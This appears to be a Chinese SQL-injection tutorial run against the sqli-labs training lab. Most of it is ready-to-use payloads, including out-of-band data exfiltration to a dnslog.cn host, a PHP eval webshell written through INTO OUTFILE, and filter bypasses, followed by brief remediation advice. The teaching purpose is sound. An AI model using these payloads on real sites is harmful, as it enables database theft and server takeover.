目录
简介
1、联合查询注入
关键字:union select
联合注入会将结果显示在前端页面。
正常访问:http://192.168.1.128/sqli-labs-master/Less-1/?id=1
1)测试发现
id=1' and '1'='1
id=1' and '1'='2
返回不同,说明存在SQL注入漏洞,且为字符型。
2)利用 order by num 确定字段数,当num为3时返回数据,num为4时不返回数据,由此确定字段数为3.
?id=1' order by 3--+
3)利用联合查询获得数据
获得网站使用的数据库,这里查询到数据库为security:
?id=-1' union select 1,database(),3--+
获得数据库版本:
?id=-1' union select 1,version(),3--+
查询指定数据库下的表名,查询到有users表:
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3--+
查询指定表下的列名,查询到users表中有password列:
?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),3--+
查询具体数据,这里是查询users表中password列的内容:
?id=-1' union select 1,(select password from security.users limit 2,1),3--+
2、布尔注入
关键函数:length()、substr()
布尔注入不会将结果回显,需要根据页面不同进行判断
1)测试发现
?id=1' and '1'='1
?id=1' and '1'='2
响应不同,说明存在SQL注入漏洞,且为字符型。
2)利用length函数判断数据库的长度,当=8时,返回为真
?id=1' and length(database())=8--+
3)利用substr函数比较得出数据库名的第一个字符为‘s’,依次可以得到全部8个字符:security
?id=1' and substr(database(),1,1)='s'--+
3、报错注入
1)测试发现
?id=1"
会将报错信息返回
2)利用updatexml函数获得数据库名
?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
3)依次可获得表名、列名,具体数据
?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),0x7e),1)--+
?id=1" and updatexml(1,concat(0x7e,(select password from security.users limit 2,1),0x7e),1)--+
4、延时注入
1)使用sleep函数使执行时间变长,根据响应时间判断是否存在
?id=1' and sleep(5)--+
2)结合if函数,通过响应时间即可进行漏洞利用
判断数据库名长度:
?id=1' and if(length(database())=8,sleep(5),1)--+
判断数据库名第一个字符:
?id=1' and if(substr(database(),1,1)='s',sleep(5),0)--+
依次可获得完整的数据库名、表名、列名以及具体数据。
5、堆叠查询注入
1)测试语句
判断数据库名长度:
?id=1';select if(length(database())=8,sleep(5),1)--+
判断数据库名第一个字符
?id=1';select if(substr(database(),1,1)='s',sleep(5),1)--+
判断表名第一个字符
?id=1';select if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='u',sleep(5),1)--+
6、二次注入
1)比如说用户注册时,用户名设置为 test' 在后续代码中被转义为 test' 但是存储到数据库中为 test',注册后返回用户ID:9
2)接下来可以通过用户id:9来查询对应用户的信息,此时会从数据库中取出用户名,并拼接到SQL语句进行执行,由于对从数据库中取出的数据未做处理,直接就是以 test' 进行拼接,导致SQL注入漏洞
所以后续的利用只需在注册时写入恶意语句,然后访问对应id触发。
7、宽字节注入
1)只需在会被转义的符号比如 ' " 前加上%df即可实现宽字节注入
?id=1%df'
?id=1%df' order by 3--+
?id=-1%df' union select 1,(select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 1,1) limit 0,1),3,4,5,6--+
8、带外注入
获得数据库名:
?id=-1' union select 1,load_file(concat('\\',(select database()),'.1rnpwi.dnslog.cn\xxx'))--+
获得表名:
?id=-1' union select 1,load_file(concat('\\',(select table_name from information_schema.tables where table_schema="security" limit 0,1),'.1rnpwi.dnslog.cn\xxx'))--+
9、getshell
1)假设从phpinfo文件中获得了网站的绝对路径:
D:/phpStudy/PHPTutorial/WWW/,现利用SQL注入漏洞写入webshell
?id=-1' union select 1,"<?php @eval($_POST['cmd']);?>",3 into outfile "D:\phpStudy\PHPTutorial\WWW\shell.php"--+
SQL注入绕过
1、大小写绕过
2、双写绕过
3、编码绕过
4、内联注释绕过
?id=1/*!and*/1=1--+
?id=1/*!union*//*!select*/1,2,3--+
修复建议
1、使用预编译语句:使用PDO预编译语句,使用占位符进行数据库的增删改查,不会将输入的数据直接作为SQL语句的一部分执行。
2、过滤关键字:过滤SQL注入常见的关键字,例如select、sleep、union等。
3、严格的数据类型:使用函数对输入的数据类型做判断,防范数字型注入。
4、对特殊字符进行转义或者编码。
END
查看更多精彩内容,关注simple学安全
原文始发于微信公众号(simple学安全):一文读懂SQL注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论